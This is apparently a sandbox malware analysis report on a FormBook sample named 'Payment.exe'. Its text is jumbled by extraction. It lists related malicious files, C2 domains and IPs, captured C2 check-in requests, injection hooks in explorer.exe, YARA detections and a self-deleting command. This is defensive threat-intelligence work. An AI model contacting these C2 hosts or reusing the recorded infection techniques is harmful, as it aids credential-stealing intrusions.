https://view.joesandbox.com/analysis/375586/html/none?idtype=webid
https://view.joesandbox.com/analysis/374626/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374626/html/none?idtype=webid
https://view.joesandbox.com/analysis/374440/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374440/html/none?idtype=webid


Unpaid Invoice.exe Get hash malicious Browse  www.mgm23
48543.com/
b6cu/?WFN=
dqsOYsWQq+
FTU42PaO7U
sXHrG00vcv
VIPPyHFAmV
RXCpjYXsaN
a58d0J7cGO
lhdU38yL&S
jlpi=9ruD_h9

174jAWlXyW.exe Get hash malicious Browse  www.bhara
thub.net/b6cu/?
f2M=_v-
HI&9r=vU
P3bPk6qVMF
SBZsu0Woak
UB9ZLAJM2a
Lct125UMa7
nObtIS9UcR
mSBQP/rfZ6
EDwLD9

Payment Advice.xlsx Get hash malicious Browse  www.mgm23
48543.com/
b6cu/?O8=-
ZcPjPvhqPp
pnvL&bzu4_
=dqsOYsWVq
5FXUo6DYO7
UsXHrG00vc
vVIPPqXZD6
UV3Cojp7qd
dL1qZML45q
YhxZn8/v7Kg==

RFQ_PO_009890_pdf.exe Get hash malicious Browse  www.swipe
hawk.com/a6hg/?
Gz=Uh
arbDuqOmkT
af35LjnpLx
SjggODaklp
W9Y+tG2s+L
MkdYLf42pU
DMwAxcb4x4
7jVGJ2VGfN
bQ==&-ZsLG
=3ff8xpG0D
PWtZdZ

Swift Copy.exe Get hash malicious Browse  www.mgm23
48543.com/
b6cu/?2dSp
M=dqsOYsWQ
q+FTU42PaO
7UsXHrG00v
cvVIPPyHFA
mVRXCpjYXs
aNa58d0J7c
GOlhdU38yL
&PVvtW=7nWhA

LC copy, Terms conditions.xlsx Get hash malicious Browse  www.wqfil
ter.com/i7dg/?
BBJ43b
=f8iD9L4af
kGSBNeT1a2
zV06Ib9jyq
zB9Ki8lcYX
tvMA4ssIJM
UtZ9Lijkg3
d2xO4598lP
A==&4hExr=
GBXdRHy8-0z0

Order sheet 31082021.exe Get hash malicious Browse  www.promo
splace.com
/p4se/?H0D
=v48Tu4dpf
V5&F8R8gJ=
g+K9AOIBn0
/VHfOvEruu
t/gc0uElQ8
afuAuUP1bY
E2eC/PWXrO
3ELwGMR3TL
6eUTg0Vn

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/374283/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374283/html/none?idtype=webid
https://view.joesandbox.com/analysis/373951/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/373951/html/none?idtype=webid
https://view.joesandbox.com/analysis/373776/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/373776/html/none?idtype=webid
https://view.joesandbox.com/analysis/373330/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/373330/html/none?idtype=webid
https://view.joesandbox.com/analysis/372955/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/372955/html/none?idtype=webid
https://view.joesandbox.com/analysis/372703/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/372703/html/none?idtype=webid
https://view.joesandbox.com/analysis/372557/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/372557/html/none?idtype=webid


PAYMENT INSTRUCTIONS COPY.exe Get hash malicious Browse  www.hosti
ngs.compan
y/n58i/?7n
xhvxdX=m2f
UwKHXntk7+
v0FXrNTEkw
XJjJFTAENR
7+CI2dV9M7
+9BuBSatPM
ImaRSslo8D
ZxWmb&z0D8
3b=1butZX4
hMzCL_

Shipment Advise 20035506.exe Get hash malicious Browse  www.hosti
ngs.compan
y/n58i/?CR
mti4J=m2fU
wKHXntk7+v
0FXrNTEkwX
JjJFTAENR7
+CI2dV9M7+
9BuBSatPMI
maRRAm0MPh
83bNGIKsaA
==&EDHH=SL
3Xb8KPdN

PO 4100066995.exe Get hash malicious Browse  www.vaca.
travel/bp39/?
nVR=5Qm
4YdS9nP4uT
06ysd2e9bB
4EWW6DLhAo
f8Noh1nKxR
E1PX3o+aVu
PjzTEVLAN9
Xs7Ly&fFND
aX=7nmPgJPxr

uXNn71mPwRw5qVi.exe Get hash malicious Browse  www.anacs
hops.com/z01e/?
9rgLW
b38=UkWWCK
efa2QBOILD
Zj1DEjSIa8
P8jMrEvFnG
p+Vhsnwupf
yaki4wDZ8H
wm0s3MMh54
tn&Sjlpd=9ruDZ

New order.exe Get hash malicious Browse  www.vaca.
travel/bp39/?
2dolsL=
5Qm4YdS9nP
4uT06ysd2e
9bB4EWW6DL
hAof8Noh1n
KxRE1PX3o+
aVuPjzTEVL
AN9Xs7Ly&z
6Al=bDKp-H4phJ

Match Associated Sample Name / URL SHA 256 Detection Link Context

No context

Match Associated Sample Name / URL SHA 256 Detection Link Context

SEDO-ASDE PAYSLIP.exe Get hash malicious Browse 91.195.240.117

UPDATED e-STATEMENT.exe Get hash malicious Browse 91.195.240.87

2021091400983746_pdf.exe Get hash malicious Browse 91.195.240.13

pronto per il pagamento.exe Get hash malicious Browse 91.195.240.94

ENQUIRYSMRT119862021-ERW PIPES.pdf.exe Get hash malicious Browse 91.195.240.13

ryfAIJHmKETyAPz.exe Get hash malicious Browse 91.195.240.87

NOA_-_CMA_CGM_ARRIVAL_NOTICE .exe Get hash malicious Browse 91.195.240.117

PO-PT. Hextar-Sept21.xlsx Get hash malicious Browse 91.195.240.94

P.O100%uFFFDpayment.doc__.rtf Get hash malicious Browse 91.195.240.94

Data Sheet and Profile.exe Get hash malicious Browse 91.195.240.117

Order 45789011.exe Get hash malicious Browse 91.195.240.13

Quotation Required Details.exe Get hash malicious Browse 91.195.240.94

Domains

ASN
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https://view.joesandbox.com/analysis/372555/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/372555/html/none?idtype=webid
https://view.joesandbox.com/analysis/371916/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/371916/html/none?idtype=webid
https://view.joesandbox.com/analysis/371196/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/371196/html/none?idtype=webid
https://view.joesandbox.com/analysis/370064/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/370064/html/none?idtype=webid
https://view.joesandbox.com/analysis/369152/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/369152/html/none?idtype=webid
https://view.joesandbox.com/analysis/379367/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379367/html/none?idtype=webid
https://view.joesandbox.com/analysis/379351/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379351/html/none?idtype=webid
https://view.joesandbox.com/analysis/379182/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379182/html/none?idtype=webid
https://view.joesandbox.com/analysis/379154/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379154/html/none?idtype=webid
https://view.joesandbox.com/analysis/378929/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378929/html/none?idtype=webid
https://view.joesandbox.com/analysis/378804/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378804/html/none?idtype=webid
https://view.joesandbox.com/analysis/378796/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378796/html/none?idtype=webid
https://view.joesandbox.com/analysis/378715/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378715/html/none?idtype=webid
https://view.joesandbox.com/analysis/378691/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378691/html/none?idtype=webid
https://view.joesandbox.com/analysis/378437/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378437/html/none?idtype=webid
https://view.joesandbox.com/analysis/378386/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378386/html/none?idtype=webid
https://view.joesandbox.com/analysis/378198/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378198/html/none?idtype=webid


Static File Info

General
File type: PE32 executable (GUI) Intel 80386 Mono/.Net assemb

ly, for MS Windows

Entropy (8bit): 7.6391078740652345

TrID: Win32 Executable (generic) Net Framework 
(10011505/4) 49.80%
Win32 Executable (generic) a (10002005/4) 
49.75%
Generic CIL Executable (.NET, Mono, etc.) 
(73296/58) 0.36%
Windows Screen Saver (13104/52) 0.07%
Generic Win/DOS Executable (2004/3) 0.01%

File name: Payment.exe

File size: 631296

MD5: 933cedbe56bd04acdbbb183a0004162b

SHA1: 9a255a7eaa2dd334dcde3f9c8f73e8c25e3a8a65

SHA256: a57534ac7570e5be7e25f1c0d9745dc549d56b193ed7b1
547e61ae79485edc1c

54U89TvWvD.exe Get hash malicious Browse 91.195.240.87

Order no.1480-G22-21202109.xlsx Get hash malicious Browse 91.195.240.117

BK8476699_BOOKING.exe Get hash malicious Browse 91.195.240.87

Swift 07.09.21.exe Get hash malicious Browse 91.195.240.87

Required quantity.doc Get hash malicious Browse 91.195.240.117

chUG6brzt9.exe Get hash malicious Browse 91.195.240.117

BahcfFNy25bmV1c.exe Get hash malicious Browse 91.195.240.13

grace $$.exe Get hash malicious Browse 91.195.240.117

Match Associated Sample Name / URL SHA 256 Detection Link Context

No context

No context

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Payment.exe.log

Process: C:\Users\user\Desktop\Payment.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 1216

Entropy (8bit): 5.355304211458859

Encrypted: false

SSDEEP: 24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKzr

MD5: FED34146BF2F2FA59DCF8702FCC8232E

SHA1: B03BFEA175989D989850CF06FE5E7BBF56EAA00A

SHA-256: 123BE4E3590609A008E85501243AF5BC53FA0C26C82A92881B8879524F8C0D5C

SHA-512: 1CC89F2ED1DBD70628FA1DC41A32BA0BFA3E81EAE1A1CF3C5F6A48F2DA0BF1F21A5001B8A18B04043C5B8FE4FBE663068D86AA8C4BD8E17933F75687C3178F
F6

Malicious: true

Reputation: high, very likely benign file

Preview:
1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.
0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.
ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyT
oken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.C
onfiguration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\
8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:
\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

JA3 Fingerprints

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/377818/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377818/html/none?idtype=webid
https://view.joesandbox.com/analysis/377300/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377300/html/none?idtype=webid
https://view.joesandbox.com/analysis/377193/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377193/html/none?idtype=webid
https://view.joesandbox.com/analysis/376190/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376190/html/none?idtype=webid
https://view.joesandbox.com/analysis/376039/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376039/html/none?idtype=webid
https://view.joesandbox.com/analysis/376028/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376028/html/none?idtype=webid
https://view.joesandbox.com/analysis/375980/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375980/html/none?idtype=webid
https://view.joesandbox.com/analysis/375821/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375821/html/none?idtype=webid


SHA512: 42cce5f2e1d9a96bddd3312c7433a2620a3aef84c612501
728f77fca159620ff4c69885933e7a2a15c72d7e8a44a0d
2e76d41bb2ba6ccb7ec9be04d10cd72545

SSDEEP: 12288:kZRWjIa6R35YU4dWyvFDLCVdwmel0saKp2YY
QUsxz9hz8gf:gamNZKLCTvKfbUsFxf

File Content Preview: MZ......................@...............................................!..L.!Th
is program cannot be run in DOS mode....$.......PE..L.....
?a............................:.... ........@.. ....................................
@................................

General

File Icon

Icon Hash: b4b4a4aca4a4ecea

Snort IDS Alerts

General
Entrypoint: 0x47d43a

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, 
LINE_NUMS_STRIPPED

DLL Characteristics: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Time Stamp: 0x613FA9A7 [Mon Sep 13 19:42:31 2021 UTC]

TLS Callbacks:

CLR (.Net) Version: v4.0.30319

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Import Hash: f34d5f2d4577ed6d9ceec516c1f5a744

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x2000 0x7b440 0x7b600 False 0.92501147733 data 7.91580879316 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.reloc 0x7e000 0xc 0x200 False 0.044921875 data 0.101910425663 IMAGE_SCN_CNT_INITIALIZED_D
ATA, 
IMAGE_SCN_MEM_DISCARDABLE
, IMAGE_SCN_MEM_READ

.rsrc 0x80000 0x1e6ac 0x1e800 False 0.254842789447 data 5.24648335599 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

Network Behavior

Static PE Info

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos
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Network Port Distribution

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

09/15/21-
08:28:42.639394

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49807 80 192.168.2.3 91.195.240.94

09/15/21-
08:28:42.639394

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49807 80 192.168.2.3 91.195.240.94

09/15/21-
08:28:42.639394

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49807 80 192.168.2.3 91.195.240.94

09/15/21-
08:29:02.940460

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49812 80 192.168.2.3 34.98.99.30

09/15/21-
08:29:02.940460

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49812 80 192.168.2.3 34.98.99.30

09/15/21-
08:29:02.940460

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49812 80 192.168.2.3 34.98.99.30

09/15/21-
08:29:03.057670

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49812 34.98.99.30 192.168.2.3

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Sep 15, 2021 08:28:42.578107119 CEST 192.168.2.3 8.8.8.8 0x93d1 Standard query 
(0)

www.cevich
eatl.com

A (IP address) IN (0x0001)

Sep 15, 2021 08:29:02.887496948 CEST 192.168.2.3 8.8.8.8 0xc881 Standard query 
(0)

www.earlye
ducationgl
obal.com

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Sep 15, 2021 
08:28:42.612447977 
CEST

8.8.8.8 192.168.2.3 0x93d1 No error (0) www.cevich
eatl.com

91.195.240.94 A (IP address) IN (0x0001)

Sep 15, 2021 
08:29:02.918489933 
CEST

8.8.8.8 192.168.2.3 0xc881 No error (0) www.earlye
ducationgl
obal.com

earlyeducationglobal.com CNAME 
(Canonical 
name)

IN (0x0001)

Sep 15, 2021 
08:29:02.918489933 
CEST

8.8.8.8 192.168.2.3 0xc881 No error (0) earlyeduca
tionglobal.com

34.98.99.30 A (IP address) IN (0x0001)

            
www.cevicheatl.com

            
www.earlyeducationglobal.com

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.3 49807 91.195.240.94 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Sep 15, 2021 
08:28:42.639394045 CEST

5973 OUT GET /pm7s/?v2J83=dDHD9XVxev94&-Zi=VaPpcx8n3Tp8D9xgbNtl8vulXgBvw8jFIvpULVCQhIlh0W4Hjuc6qrQSfYpFlZollC
UL HTTP/1.1
Host: www.cevicheatl.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets
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Code Manipulations

Statistics

Behavior

Click to jump to process

Sep 15, 2021 
08:28:42.677712917 CEST

5974 IN HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=utf-8
Location: https://www.cevicheatl.com/pm7s/?v2J83=dDHD9XVxev94&-Zi=VaPpcx8n3Tp8D9xgbNtl8vulXgBvw8jFIv
pULVCQhIlh0W4Hjuc6qrQSfYpFlZollCUL
Date: Wed, 15 Sep 2021 06:28:42 GMT
Content-Length: 163
Connection: close
Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 65 76 69 63 68 65 61 74 6c 2e 63 6f 6d 2f 
70 6d 37 73 2f 3f 76 32 4a 38 33 3d 64 44 48 44 39 58 56 78 65 76 39 34 26 61 6d 70 3b 2d 5a 69 3d 56 61 50 70 63 78 
38 6e 33 54 70 38 44 39 78 67 62 4e 74 6c 38 76 75 6c 58 67 42 76 77 38 6a 46 49 76 70 55 4c 56 43 51 68 49 6c 68 30 
57 34 48 6a 75 63 36 71 72 51 53 66 59 70 46 6c 5a 6f 6c 6c 43 55 4c 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 
6c 79 3c 2f 61 3e 2e 0a 0a 
Data Ascii: <a href="https://www.cevicheatl.com/pm7s/?v2J83=dDHD9XVxev94&amp;-Zi=VaPpcx8n3Tp8D9xgbNt
l8vulXgBvw8jFIvpULVCQhIlh0W4Hjuc6qrQSfYpFlZollCUL">Moved Permanently</a>.

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.3 49812 34.98.99.30 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Sep 15, 2021 
08:29:02.940459967 CEST

5995 OUT GET /pm7s/?-Zi=lvCYA3THHwf3zrDy6Hq/UQWt6LGRVtHVYfKCQGlaiZ/7JUYV8wEH0lTBDrKh23L7whpy&v2J83=
dDHD9XVxev94 HTTP/1.1
Host: www.earlyeducationglobal.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Sep 15, 2021 
08:29:03.057670116 CEST

5996 IN HTTP/1.1 403 Forbidden
Server: openresty
Date: Wed, 15 Sep 2021 06:29:02 GMT
Content-Type: text/html
Content-Length: 275
ETag: "6139ed55-113"
Via: 1.1 google
Connection: close
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 
20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 
74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 
0a 
Data Ascii: <!DOCTYPE html><html lang="en"><head>    <meta http-equiv="content-type" content="text/html;charset=utf-
8">    <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">    <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Function Name Hook Type Active in Processes

PeekMessageA INLINE explorer.exe

PeekMessageW INLINE explorer.exe

GetMessageW INLINE explorer.exe

GetMessageA INLINE explorer.exe

User Modules

Hook Summary

Processes
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System Behavior

File ActivitiesFile Activities

Start time: 08:27:04

Start date: 15/09/2021

Path: C:\Users\user\Desktop\Payment.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\Payment.exe' 

Imagebase: 0x1f0000

File size: 631296 bytes

MD5 hash: 933CEDBE56BD04ACDBBB183A0004162B

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000001.00000002.243114794.0000000002621000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000001.00000002.243854024.0000000003619000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000001.00000002.243854024.0000000003619000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000001.00000002.243854024.0000000003619000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: low

Show Windows behavior

Start time: 08:27:17

Start date: 15/09/2021

Path: C:\Users\user\Desktop\Payment.exe

Wow64 process (32bit): false

Commandline: C:\Users\user\Desktop\Payment.exe

Imagebase: 0x360000

File size: 631296 bytes

MD5 hash: 933CEDBE56BD04ACDBBB183A0004162B

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: low

Analysis Process: Payment.exe PID: 5232 Parent PID: 808Analysis Process: Payment.exe PID: 5232 Parent PID: 808

General

File CreatedFile Created

File WrittenFile Written

File ReadFile Read

Analysis Process: Payment.exe PID: 1848 Parent PID: 5232Analysis Process: Payment.exe PID: 1848 Parent PID: 5232

General

Analysis Process: Payment.exe PID: 5352 Parent PID: 5232Analysis Process: Payment.exe PID: 5352 Parent PID: 5232

Copyright Joe Security LLC 2021 Page 20 of 23



File ActivitiesFile Activities

Start time: 08:27:18

Start date: 15/09/2021

Path: C:\Users\user\Desktop\Payment.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\Desktop\Payment.exe

Imagebase: 0x540000

File size: 631296 bytes

MD5 hash: 933CEDBE56BD04ACDBBB183A0004162B

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000006.00000002.312038507.0000000000400000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000006.00000002.312038507.0000000000400000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000006.00000002.312038507.0000000000400000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000006.00000002.320708388.0000000000F60000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000006.00000002.320708388.0000000000F60000.00000040.00020000.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000006.00000002.320708388.0000000000F60000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000006.00000002.322423525.00000000012D0000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000006.00000002.322423525.00000000012D0000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000006.00000002.322423525.00000000012D0000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: low

Show Windows behavior

Start time: 08:27:21

Start date: 15/09/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline: C:\Windows\Explorer.EXE

Imagebase: 0x7ff714890000

File size: 3933184 bytes

MD5 hash: AD5296B280E8F522A8A897C96BAB0E1D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

General

File ReadFile Read

Analysis Process: explorer.exe PID: 3388 Parent PID: 5352Analysis Process: explorer.exe PID: 3388 Parent PID: 5352

General
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File ActivitiesFile Activities

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000007.00000000.289360000.000000000643E000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000007.00000000.289360000.000000000643E000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000007.00000000.289360000.000000000643E000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000007.00000000.268479166.000000000643E000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000007.00000000.268479166.000000000643E000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000007.00000000.268479166.000000000643E000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: high

Show Windows behavior

File ActivitiesFile Activities

Start time: 08:27:47

Start date: 15/09/2021

Path: C:\Windows\SysWOW64\cscript.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\cscript.exe

Imagebase: 0xeb0000

File size: 143360 bytes

MD5 hash: 00D3041E47F99E48DD5FFFEDF60F6304

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000013.00000002.476066446.0000000000800000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000013.00000002.476066446.0000000000800000.00000040.00020000.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000013.00000002.476066446.0000000000800000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000013.00000002.482181814.0000000004690000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000013.00000002.482181814.0000000004690000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000013.00000002.482181814.0000000004690000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000013.00000002.477004988.0000000000910000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000013.00000002.477004988.0000000000910000.00000040.00020000.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000013.00000002.477004988.0000000000910000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: moderate

Show Windows behavior

Analysis Process: cscript.exe PID: 6280 Parent PID: 3388Analysis Process: cscript.exe PID: 6280 Parent PID: 3388

General

File ReadFile Read
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Joe Sandbox Cloud Basic 33.0.0 White Diamond

Disassembly

Code Analysis

Copyright Joe Security LLC

File ActivitiesFile Activities

Start time: 08:27:55

Start date: 15/09/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: /c del 'C:\Users\user\Desktop\Payment.exe'

Imagebase: 0xbd0000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Start time: 08:27:56

Start date: 15/09/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff6b2800000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: cmd.exe PID: 6500 Parent PID: 6280Analysis Process: cmd.exe PID: 6500 Parent PID: 6280

General

File DeletedFile Deleted

